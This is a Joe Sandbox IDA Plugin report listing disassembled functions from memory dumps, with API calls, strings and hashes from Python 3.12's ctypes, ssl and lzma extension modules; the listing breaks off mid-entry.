Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: From$CallDict_Err_FormatFunctionItemObject_Unicode_$DeallocErrorLong_OccurredStringVoidWith
String ID: LP_%U$LP_%s$N(O){sO}$N(O){}$_type_$must be a ctypes type
API String ID: 3146948445-1214187729
Opcode ID: d663851ae113056d5bd6a527a44b03784d321935e7c315368258fc64d7695cb0
Instruction ID: f16c580a82e565c7c41f5be7087281f825a5d65cb51185e3327bd2b9690c89a0
Opcode Fuzzy Hash: d663851ae113056d5bd6a527a44b03784d321935e7c315368258fc64d7695cb0
Instruction Fuzzy Hash: FD41EB21D09E03C9EF158F16E85427963A5AF69BB5F0441F9C96E76AB4DF3CE4848308

Function 00007FFE1338A700 Relevance: 33.3, APIs: 13, Strings: 6, Instructions: 82threadlibraryloaderCOMMON

Download Yara Rule

APIs

_PyArg_ParseTuple_SizeT.PYTHON312 ref: 00007FFE1338A728
PySys_Audit.PYTHON312 ref: 00007FFE1338A743
PyObject_GetAttrString.PYTHON312 ref: 00007FFE1338A759
PyErr_SetString.PYTHON312 ref: 00007FFE1338A788
_Py_Dealloc.PYTHON312 ref: 00007FFE1338A79C
PyLong_AsVoidPtr.PYTHON312 ref: 00007FFE1338A7B7
_Py_Dealloc.PYTHON312 ref: 00007FFE1338A7CE
PyErr_Occurred.PYTHON312 ref: 00007FFE1338A7D4
PyErr_SetString.PYTHON312 ref: 00007FFE1338A7F0
PyEval_SaveThread.PYTHON312 ref: 00007FFE1338A7F8
GetProcAddress.KERNEL32 ref: 00007FFE1338A809
PyEval_RestoreThread.PYTHON312 ref: 00007FFE1338A815
PyErr_Format.PYTHON312 ref: 00007FFE1338A836

Strings

_handle, xrefs: 00007FFE1338A752
the _handle attribute of the second argument must be an integer, xrefs: 00007FFE1338A77E
symbol '%s' not found, xrefs: 00007FFE1338A827
Os:in_dll, xrefs: 00007FFE1338A721
ctypes.dlsym, xrefs: 00007FFE1338A73C
could not convert the _handle attribute to a pointer, xrefs: 00007FFE1338A7E6

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: Err_$String$DeallocEval_Thread$AddressArg_AttrAuditFormatLong_Object_OccurredParseProcRestoreSaveSizeSys_Tuple_Void
String ID: Os:in_dll$_handle$could not convert the _handle attribute to a pointer$ctypes.dlsym$symbol '%s' not found$the _handle attribute of the second argument must be an integer
API String ID: 1915345233-3856192562
Opcode ID: 495acc1b50baf4df7a85389d2f908da6debc7a9db21930b07ba395b4208299a3
Instruction ID: 8a24542f54299edb437a7b4603665a8f386d1d10b467af47536db0dd4fe4dcb3
Opcode Fuzzy Hash: 495acc1b50baf4df7a85389d2f908da6debc7a9db21930b07ba395b4208299a3
Instruction Fuzzy Hash: 4F410821E08E42D9FB049B57E84417823B2BFA4FE1F1441B5E96E67A74DE2DE4869308

Function 00007FFE133902AC Relevance: 31.7, APIs: 14, Strings: 4, Instructions: 178COMMON

Download Yara Rule

APIs

PyObject_GetAttrString.PYTHON312(?,00000018,0000019B68041E70,00000018,00000000,?,?,00000000,00007FFE133890CB), ref: 00007FFE133902DC
PySequence_Fast.PYTHON312(?,00000018,0000019B68041E70,00000018,00000000,?,?,00000000,00007FFE133890CB), ref: 00007FFE133902F8
_Py_Dealloc.PYTHON312(?,00000018,0000019B68041E70,00000018,00000000,?,?,00000000,00007FFE133890CB), ref: 00007FFE1339030F
PyArg_ParseTuple.PYTHON312(?,00000018,0000019B68041E70,00000018,00000000,?,?,00000000,00007FFE133890CB), ref: 00007FFE1339037E
PyObject_GetAttr.PYTHON312(?,00000018,0000019B68041E70,00000018,00000000,?,?,00000000,00007FFE133890CB), ref: 00007FFE13390398
_Py_Dealloc.PYTHON312(?,00000018,0000019B68041E70,00000018,00000000,?,?,00000000,00007FFE133890CB), ref: 00007FFE133903ED
_Py_Dealloc.PYTHON312(?,00000018,0000019B68041E70,00000018,00000000,?,?,00000000,00007FFE133890CB), ref: 00007FFE13390475
PyObject_SetAttr.PYTHON312(?,00000018,0000019B68041E70,00000018,00000000,?,?,00000000,00007FFE133890CB), ref: 00007FFE1339048E
_Py_Dealloc.PYTHON312(?,00000018,0000019B68041E70,00000018,00000000,?,?,00000000,00007FFE133890CB), ref: 00007FFE133904A7
_Py_Dealloc.PYTHON312(?,00000018,0000019B68041E70,00000018,00000000,?,?,00000000,00007FFE133890CB), ref: 00007FFE133904CB
PyErr_SetString.PYTHON312(?,00000018,0000019B68041E70,00000018,00000000,?,?,00000000,00007FFE133890CB), ref: 00007FFE133904F2
_Py_Dealloc.PYTHON312(?,00000018,0000019B68041E70,00000018,00000000,?,?,00000000,00007FFE133890CB), ref: 00007FFE13390506
_Py_Dealloc.PYTHON312(?,00000018,0000019B68041E70,00000018,00000000,?,?,00000000,00007FFE133890CB), ref: 00007FFE1339051A
_Py_Dealloc.PYTHON312(?,00000018,0000019B68041E70,00000018,00000000,?,?,00000000,00007FFE133890CB), ref: 00007FFE13390542

Strings

unexpected type, xrefs: 00007FFE133904E8
_fields_, xrefs: 00007FFE133902D1
_fields_ must be a sequence, xrefs: 00007FFE133902EE
OO|O, xrefs: 00007FFE13390377

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: Dealloc$AttrObject_$String$Arg_Err_FastParseSequence_Tuple
String ID: OO|O$_fields_$_fields_ must be a sequence$unexpected type
API String ID: 1182381414-2418103425
Opcode ID: 1b1c217392e25350f0e6114aacf84770cd442ca5d66235a5734a52f0b188800f
Instruction ID: b1c2bd9d7977060cade10d7ed1f38aa1c6c715768b76721cb4aaa8104e36f5ec
Opcode Fuzzy Hash: 1b1c217392e25350f0e6114aacf84770cd442ca5d66235a5734a52f0b188800f
Instruction Fuzzy Hash: E4813D72A09E42CAEB548F16E94427973A2FB65BA4F044175CA6F62774DF3CE490C704

Function 00007FFE1338222C Relevance: 29.9, APIs: 14, Strings: 3, Instructions: 136threadCOMMON

Download Yara Rule

APIs

PyObject_IsInstance.PYTHON312 ref: 00007FFE1338224A
PyUnicode_AsUTF8.PYTHON312 ref: 00007FFE13382272

Part of subcall function 00007FFE13383ED0: _PyObject_GC_New.PYTHON312(?,?,?,00007FFE133820A5), ref: 00007FFE13383EDD
Part of subcall function 00007FFE13383ED0: PyObject_GC_Track.PYTHON312(?,?,?,00007FFE133820A5), ref: 00007FFE13383EFF

PyErr_GetRaisedException.PYTHON312 ref: 00007FFE13387585
_Py_Dealloc.PYTHON312 ref: 00007FFE1338759C
_PyObject_LookupAttr.PYTHON312 ref: 00007FFE133875B8
_PyThreadState_GetCurrent.PYTHON312 ref: 00007FFE133875CE
_Py_CheckRecursiveCall.PYTHON312 ref: 00007FFE133875EB
_Py_Dealloc.PYTHON312 ref: 00007FFE13387605
_Py_Dealloc.PYTHON312 ref: 00007FFE1338762A
PyErr_SetString.PYTHON312 ref: 00007FFE133876B5

Strings

wrong type, xrefs: 00007FFE133876A4
abstract class, xrefs: 00007FFE13387579
while processing _as_parameter_, xrefs: 00007FFE133875E1

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: Object_$Dealloc$Err_$AttrCallCheckCurrentExceptionInstanceLookupRaisedRecursiveState_StringThreadTrackUnicode_
String ID: abstract class$while processing _as_parameter_$wrong type
API String ID: 1221418975-1173273510
Opcode ID: 56bc76bb30dadeca5b1d97ba25fa9eaf69a7d9292dfa55b1888e111b0a5a4d6d
Instruction ID: ff32572faa0977cb9c10aeff487b114345285539e5c331727ad667f09d603ef1
Opcode Fuzzy Hash: 56bc76bb30dadeca5b1d97ba25fa9eaf69a7d9292dfa55b1888e111b0a5a4d6d
Instruction Fuzzy Hash: 42513431E09E46C9EB559F27984427D63A1AF65BB0F0842F4DD2E66AB0DF3CE4C08708

Function 00007FFE1338839D Relevance: 28.2, APIs: 12, Strings: 4, Instructions: 187COMMON

Download Yara Rule

APIs

PyUnicode_AsUTF8.PYTHON312 ref: 00007FFE1338359C
PyMem_Malloc.PYTHON312 ref: 00007FFE13383640
PyMem_Free.PYTHON312 ref: 00007FFE13383693
PyMem_Free.PYTHON312 ref: 00007FFE1338369C
PyObject_SetAttr.PYTHON312 ref: 00007FFE133836D9
PyErr_SetString.PYTHON312 ref: 00007FFE133883FC
PyErr_Format.PYTHON312 ref: 00007FFE133884C7
_Py_Dealloc.PYTHON312 ref: 00007FFE13388812
_Py_Dealloc.PYTHON312 ref: 00007FFE133888A6
PyMem_Free.PYTHON312 ref: 00007FFE133888C9

Strings

UO|i, xrefs: 00007FFE133834D8
number of bits invalid for bit field, xrefs: 00007FFE133883F2
%s:%s:, xrefs: 00007FFE13383655
bit fields not allowed for type %s, xrefs: 00007FFE133884B2

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: Mem_$Free$DeallocErr_$AttrFormatMallocObject_StringUnicode_
String ID: %s:%s:$UO|i$bit fields not allowed for type %s$number of bits invalid for bit field
API String ID: 3152283123-1978056028
Opcode ID: 7b60b76ece08517a070637c2aa28833b98ab365187bb45cc60fea60e909596f6
Instruction ID: 9495af6c01cb577ead1864c5fa2dc79bd78c25aee759de227c6bfa78d2c67b17
Opcode Fuzzy Hash: 7b60b76ece08517a070637c2aa28833b98ab365187bb45cc60fea60e909596f6
Instruction Fuzzy Hash: 25915C36A09F42C9EB008B66E4442AD37A1FB54BB4F5402B5EA6E67BB4DF3CD485C304

Function 00007FFE13382DF0 Relevance: 28.1, APIs: 13, Strings: 3, Instructions: 146COMMON

Download Yara Rule

APIs

PyBytes_AsString.PYTHON312(?,?,00000001,00007FFE13382DE5), ref: 00007FFE13382ECB
PyLong_AsUnsignedLong.PYTHON312(?,?,00000001,00007FFE13382DE5), ref: 00007FFE13387EE7
PyErr_Occurred.PYTHON312(?,?,00000001,00007FFE13382DE5), ref: 00007FFE13387EF9
PyErr_Clear.PYTHON312(?,?,00000001,00007FFE13382DE5), ref: 00007FFE13387F08
PyLong_AsLong.PYTHON312(?,?,00000001,00007FFE13382DE5), ref: 00007FFE13387F11
PyErr_Occurred.PYTHON312(?,?,00000001,00007FFE13382DE5), ref: 00007FFE13387F23
PyErr_SetString.PYTHON312(?,?,00000001,00007FFE13382DE5), ref: 00007FFE13387F43
PyUnicode_AsWideCharString.PYTHON312(?,?,00000001,00007FFE13382DE5), ref: 00007FFE13387F60
PyCapsule_New.PYTHON312(?,?,00000001,00007FFE13382DE5), ref: 00007FFE13387F84
PyMem_Free.PYTHON312(?,?,00000001,00007FFE13382DE5), ref: 00007FFE13387F9B

Strings

_ctypes pymem, xrefs: 00007FFE13387F7D
Don't know how to convert parameter %d, xrefs: 00007FFE13387FFB
int too long to convert, xrefs: 00007FFE13387F39

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: Err_$String$LongLong_Occurred$Bytes_Capsule_CharClearFreeMem_Unicode_UnsignedWide
String ID: Don't know how to convert parameter %d$_ctypes pymem$int too long to convert
API String ID: 3969321993-4137960972
Opcode ID: 6b2246cfad125c06f1398af8302451c08931c10f3ac45df33c631e301b6f9b83
Instruction ID: f1a64b5e49899824ee23cfd39ec4248c5a5111a68a4adbf64d80d262b5a23e77
Opcode Fuzzy Hash: 6b2246cfad125c06f1398af8302451c08931c10f3ac45df33c631e301b6f9b83
Instruction Fuzzy Hash: 7A61FF32A19F42CAEB548F27E44412C23A1FF68BA4B0445B5DA6EA7774DF3CE4918348

Function 00007FFE13384888 Relevance: 28.1, APIs: 10, Strings: 6, Instructions: 129COMMON

Download Yara Rule

APIs

PyLong_FromSsize_t.PYTHON312 ref: 00007FFE133848D8
PyTuple_Pack.PYTHON312 ref: 00007FFE133848F5
PyErr_Occurred.PYTHON312 ref: 00007FFE1338493D
_PyObject_CallFunction_SizeT.PYTHON312 ref: 00007FFE133849B1
_Py_Dealloc.PYTHON312 ref: 00007FFE133849E6
PyDict_New.PYTHON312 ref: 00007FFE13384A12
_Py_Dealloc.PYTHON312 ref: 00007FFE133895C7

Strings

_type_, xrefs: 00007FFE1338497A
Array length must be >= 0, not %zd, xrefs: 00007FFE133895B2
Expected a type object, xrefs: 00007FFE133895DA
%.200s_Array_%Id, xrefs: 00007FFE13384961
_length_, xrefs: 00007FFE1338498D
s(O){s:n,s:O}, xrefs: 00007FFE133849A3

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: Dealloc$CallDict_Err_FromFunction_Long_Object_OccurredPackSizeSsize_tTuple_
String ID: %.200s_Array_%Id$Array length must be >= 0, not %zd$Expected a type object$_length_$_type_$s(O){s:n,s:O}
API String ID: 3561862774-1488966637
Opcode ID: 123f9f579bb02614fe18acfde47f652875fad20b87eb845d9a57af0fb67d1fde
Instruction ID: 79a47ee2af681a949d769c851e9b8bae2658bf4c7d077babfd5de6f485ad72f4
Opcode Fuzzy Hash: 123f9f579bb02614fe18acfde47f652875fad20b87eb845d9a57af0fb67d1fde
Instruction Fuzzy Hash: 7E514F31A0DE02C8EA155B23E8503BD22A5AF657B5F4442B9D96E76BB0DF2CE0958308

Function 00007FFE1338A308 Relevance: 28.1, APIs: 8, Strings: 8, Instructions: 105COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON312 ref: 00007FFE1338A33E
_PyArg_ParseTuple_SizeT.PYTHON312 ref: 00007FFE1338A367
PyMemoryView_FromObject.PYTHON312 ref: 00007FFE1338A376
PyBuffer_IsContiguous.PYTHON312 ref: 00007FFE1338A39C
PyErr_SetString.PYTHON312 ref: 00007FFE1338A3D1
PyErr_Format.PYTHON312 ref: 00007FFE1338A404
PySys_Audit.PYTHON312 ref: 00007FFE1338A425
_Py_Dealloc.PYTHON312 ref: 00007FFE1338A45D

Strings

O|n:from_buffer, xrefs: 00007FFE1338A360
underlying buffer is not writable, xrefs: 00007FFE1338A38E
abstract class, xrefs: 00007FFE1338A334
ctypes.cdata/buffer, xrefs: 00007FFE1338A41E
underlying buffer is not C contiguous, xrefs: 00007FFE1338A3A6
nnn, xrefs: 00007FFE1338A417
offset cannot be negative, xrefs: 00007FFE1338A3C7
Buffer size too small (%zd instead of at least %zd bytes), xrefs: 00007FFE1338A3FA

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: Err_$String$Arg_AuditBuffer_ContiguousDeallocFormatFromMemoryObjectParseSizeSys_Tuple_View_
String ID: Buffer size too small (%zd instead of at least %zd bytes)$O|n:from_buffer$abstract class$ctypes.cdata/buffer$nnn$offset cannot be negative$underlying buffer is not C contiguous$underlying buffer is not writable
API String ID: 3947696715-3790261066
Opcode ID: 787661b138dbd3ae895698780fda5184f10a740fc586519092b82ba16f05acbf
Instruction ID: bba62c262def2884189642dfa70e7c0310cb29218dc31e00b90203b9b85aead4
Opcode Fuzzy Hash: 787661b138dbd3ae895698780fda5184f10a740fc586519092b82ba16f05acbf
Instruction Fuzzy Hash: 51414C61E09E46C9FA148B17D85027D23A2AF64BF4F0442B5DD2EA7AB4DF7CE585C308

Function 00007FFE11EC7750 Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 104COMMON

Download Yara Rule

APIs

PyList_New.PYTHON312 ref: 00007FFE11EC7772
SSL_CTX_get_cert_store.LIBSSL-3 ref: 00007FFE11EC778B
PyErr_SetString.PYTHON312 ref: 00007FFE11EC77B2
OPENSSL_sk_pop_free.LIBCRYPTO-3 ref: 00007FFE11EC77C2
_Py_Dealloc.PYTHON312 ref: 00007FFE11EC77DB
_Py_Dealloc.PYTHON312 ref: 00007FFE11EC77EF
OPENSSL_sk_num.LIBCRYPTO-3 ref: 00007FFE11EC77FC
OPENSSL_sk_value.LIBCRYPTO-3 ref: 00007FFE11EC780F
X509_OBJECT_get_type.LIBCRYPTO-3 ref: 00007FFE11EC781B
X509_OBJECT_get0_X509.LIBCRYPTO-3 ref: 00007FFE11EC7829
X509_check_ca.LIBCRYPTO-3 ref: 00007FFE11EC7835
PyList_Append.PYTHON312 ref: 00007FFE11EC7869
_Py_Dealloc.PYTHON312 ref: 00007FFE11EC7886

Part of subcall function 00007FFE11EC4F60: i2d_X509.LIBCRYPTO-3 ref: 00007FFE11EC4F7A

OPENSSL_sk_num.LIBCRYPTO-3 ref: 00007FFE11EC7891
OPENSSL_sk_pop_free.LIBCRYPTO-3 ref: 00007FFE11EC78A9

Strings

failed to query cert store, xrefs: 00007FFE11EC77A8

Memory Dump Source

Source File: 00000001.00000002.2090014963.00007FFE11EC1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFE11EC0000, based on PE: true

Associated: 00000001.00000002.2089995664.00007FFE11EC0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090035870.00007FFE11ECD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090060351.00007FFE11EE0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090079121.00007FFE11EE1000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090097048.00007FFE11EE7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090115365.00007FFE11EE9000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe11ec0000_file.jbxd

Similarity

API ID: Dealloc$L_sk_numL_sk_pop_freeList_X509X509_$AppendErr_L_sk_valueStringT_get0_T_get_typeX509_check_caX_get_cert_storei2d_
String ID: failed to query cert store
API String ID: 188430245-2018196157
Opcode ID: 7d58ad7a2ae8215628e58f06064ded71f821576182442e5e89a04522a8de8d14
Instruction ID: 1eaf7e27f52b13d5fe91a074c77ccc65cf8eafa0c853b9b6515588913824f033
Opcode Fuzzy Hash: 7d58ad7a2ae8215628e58f06064ded71f821576182442e5e89a04522a8de8d14
Instruction Fuzzy Hash: D241FA25E49E1681EB589BA7AC5433FA2A9BF44FB1F8440B4CD0E467B4DE3EF4458340

Function 00007FFE1338E184 Relevance: 28.1, APIs: 12, Strings: 4, Instructions: 84threadCOMMON

Download Yara Rule

APIs

PyThreadState_GetDict.PYTHON312(?,?,?,00007FFE13388BB5), ref: 00007FFE1338E19C
PyErr_SetString.PYTHON312(?,?,?,00007FFE13388BB5), ref: 00007FFE1338E1BB
PyUnicode_InternFromString.PYTHON312(?,?,?,00007FFE13388BB5), ref: 00007FFE1338E1EC
PyDict_GetItemWithError.PYTHON312(?,?,?,00007FFE13388BB5), ref: 00007FFE1338E204
PyCapsule_IsValid.PYTHON312(?,?,?,00007FFE13388BB5), ref: 00007FFE1338E21C
PyCapsule_GetPointer.PYTHON312(?,?,?,00007FFE13388BB5), ref: 00007FFE1338E242
PyErr_Occurred.PYTHON312(?,?,?,00007FFE13388BB5), ref: 00007FFE1338E253
PyMem_Calloc.PYTHON312(?,?,?,00007FFE13388BB5), ref: 00007FFE1338E268
PyCapsule_New.PYTHON312(?,?,?,00007FFE13388BB5), ref: 00007FFE1338E28B
PyMem_Free.PYTHON312(?,?,?,00007FFE13388BB5), ref: 00007FFE1338E29C
PyDict_SetItem.PYTHON312(?,?,?,00007FFE13388BB5), ref: 00007FFE1338E2B4
_Py_Dealloc.PYTHON312(?,?,?,00007FFE13388BB5), ref: 00007FFE1338E2D9

Strings

cannot get thread state, xrefs: 00007FFE1338E1AA
_ctypes pymem, xrefs: 00007FFE1338E212, 00007FFE1338E238, 00007FFE1338E284
ctypes.error_object is an invalid capsule, xrefs: 00007FFE1338E226
ctypes.error_object, xrefs: 00007FFE1338E1E5

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: Capsule_$Dict_Err_ItemMem_String$CallocDeallocDictErrorFreeFromInternOccurredPointerState_ThreadUnicode_ValidWith
String ID: _ctypes pymem$cannot get thread state$ctypes.error_object$ctypes.error_object is an invalid capsule
API String ID: 2323834031-3474121714
Opcode ID: 8ff69ccd9213c78d7e4fa1966840c71668810dba2de4da8a82c98b01eacda378
Instruction ID: 498a05b2568d2d03f033767de312314f1b4e8f549a48870ad08a5c92b736cdef
Opcode Fuzzy Hash: 8ff69ccd9213c78d7e4fa1966840c71668810dba2de4da8a82c98b01eacda378
Instruction Fuzzy Hash: 8D411A30F09F02C9FA548B17E84017963A1AF68BB0B4455F4C92EB2BB4EF3CE5848318

Function 00007FFE11EC5808 Relevance: 27.1, APIs: 18, Instructions: 111COMMON

Download Yara Rule

APIs

X509_get_ext_d2i.LIBCRYPTO-3(00000000,00000000,00000000,00007FFE11EC570F), ref: 00007FFE11EC582E
OPENSSL_sk_num.LIBCRYPTO-3 ref: 00007FFE11EC583F
AUTHORITY_INFO_ACCESS_free.LIBCRYPTO-3 ref: 00007FFE11EC584C
PyList_New.PYTHON312 ref: 00007FFE11EC5874
OPENSSL_sk_num.LIBCRYPTO-3 ref: 00007FFE11EC588B
OPENSSL_sk_value.LIBCRYPTO-3 ref: 00007FFE11EC589A
OBJ_obj2nid.LIBCRYPTO-3 ref: 00007FFE11EC58A6
PyUnicode_FromStringAndSize.PYTHON312 ref: 00007FFE11EC58C5
PyList_Append.PYTHON312 ref: 00007FFE11EC58DD
_Py_Dealloc.PYTHON312 ref: 00007FFE11EC58F4
OPENSSL_sk_num.LIBCRYPTO-3 ref: 00007FFE11EC5904
AUTHORITY_INFO_ACCESS_free.LIBCRYPTO-3 ref: 00007FFE11EC5911
PyList_Size.PYTHON312 ref: 00007FFE11EC591A
_Py_Dealloc.PYTHON312 ref: 00007FFE11EC593A
PyList_AsTuple.PYTHON312 ref: 00007FFE11EC5948
_Py_Dealloc.PYTHON312 ref: 00007FFE11EC595F
AUTHORITY_INFO_ACCESS_free.LIBCRYPTO-3 ref: 00007FFE11EC5970
_Py_Dealloc.PYTHON312 ref: 00007FFE11EC5989

Memory Dump Source

Source File: 00000001.00000002.2090014963.00007FFE11EC1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFE11EC0000, based on PE: true

Associated: 00000001.00000002.2089995664.00007FFE11EC0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090035870.00007FFE11ECD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090060351.00007FFE11EE0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090079121.00007FFE11EE1000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090097048.00007FFE11EE7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090115365.00007FFE11EE9000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe11ec0000_file.jbxd

Similarity

API ID: DeallocList_$L_sk_numS_free$Size$AppendFromJ_obj2nidL_sk_valueStringTupleUnicode_X509_get_ext_d2i
String ID:
API String ID: 230305477-0
Opcode ID: 4a3a2a0c197c120123287c4cad6df3dc21847620dfcc60481acda2caa4745e34
Instruction ID: 44ea4b92dd14317fa481e7941ab429d0c932de4ce26c57a8809b29f9d95fda1b
Opcode Fuzzy Hash: 4a3a2a0c197c120123287c4cad6df3dc21847620dfcc60481acda2caa4745e34
Instruction Fuzzy Hash: F841F622B09E4281EB549FA7AD1437BA3A9BF85FB1F8840B4C95F46674DE3EF4458340

Function 00007FFE102471F0 Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 156threadCOMMON

Download Yara Rule

APIs

PyType_GetModuleState.PYTHON312 ref: 00007FFE10247217
PyThread_allocate_lock.PYTHON312 ref: 00007FFE1024728A
PyBytes_FromStringAndSize.PYTHON312 ref: 00007FFE102472CA
_Py_Dealloc.PYTHON312 ref: 00007FFE1024736B
PyLong_AsUnsignedLongLong.PYTHON312 ref: 00007FFE10247389
PyErr_Occurred.PYTHON312 ref: 00007FFE10247392
PyErr_SetString.PYTHON312 ref: 00007FFE102473E0
_Py_Dealloc.PYTHON312 ref: 00007FFE10254B1D
_Py_Dealloc.PYTHON312 ref: 00007FFE10254B4E

Strings

Cannot specify filters except with FORMAT_RAW, xrefs: 00007FFE102473CF
